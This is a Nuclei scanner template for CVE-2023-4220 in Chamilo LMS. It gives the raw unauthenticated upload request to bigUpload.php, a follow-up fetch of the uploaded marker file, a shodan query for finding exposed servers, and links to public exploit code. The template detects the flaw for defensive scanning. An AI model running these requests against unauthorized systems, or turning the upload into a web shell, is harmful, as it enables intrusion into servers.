58 lines
2.1 KiB
YAML
58 lines
2.1 KiB
YAML
id: CVE-2023-4220
|
|
|
|
info:
|
|
name: Chamilo LMS <= 1.11.24 - Remote Code Execution
|
|
author: securityforeveryone
|
|
severity: medium
|
|
description: |
|
|
Unrestricted file upload in big file upload functionality in `/main/inc/lib/javascript/bigupload/inc/bigUpload.php` in Chamilo LMS <= v1.11.24 allows unauthenticated attackers to perform stored cross-site scripting attacks and obtain remote code execution via uploading of web shell.
|
|
reference:
|
|
- https://github.com/Ziad-Sakr/Chamilo-LMS-CVE-2023-4220-Exploit
|
|
- https://github.com/charlesgargasson/CVE-2023-4220
|
|
- https://starlabs.sg/advisories/23/23-4220/
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-4220
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2023-4220
|
|
cwe-id: CWE-434
|
|
epss-score: 0.00163
|
|
epss-percentile: 0.52876
|
|
cpe: cpe:2.3:a:chamilo:chamilo_lms:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 2
|
|
vendor: chamilo
|
|
product: chamilo_lms
|
|
shodan-query: "X-Powered-By: Chamilo"
|
|
tags: cve,cve2023,chamilo,lms,rce,intrusive,file-upload
|
|
|
|
variables:
|
|
filename: "{{rand_base(10)}}"
|
|
num: "{{rand_int(1000, 9999)}}"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=------------------------SwxF5rRaZb4lETWlpulXn3
|
|
|
|
--------------------------SwxF5rRaZb4lETWlpulXn3
|
|
Content-Disposition: form-data; name="bigUploadFile"; filename="{{filename}}.txt"
|
|
Content-Type: application/octet-stream
|
|
|
|
{{md5(num)}}
|
|
|
|
--------------------------SwxF5rRaZb4lETWlpulXn3--
|
|
|
|
- |
|
|
GET /main/inc/lib/javascript/bigupload/files/{{filename}}.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(body_2,"{{md5(num)}}")'
|
|
- 'status_code_1 == 200 && status_code_2 == 200'
|
|
condition: and
|
|
# digest: 490a0046304402202ba2802508b1a8106520e47642aee8d4b207bacca790fa88de82191931bd865c022022060f23d393a03776c518d9167dcf9508a0a32d8b2e7ff199d1d8a0c670f3f5:922c64590222798bb761d5b6d8e72950 |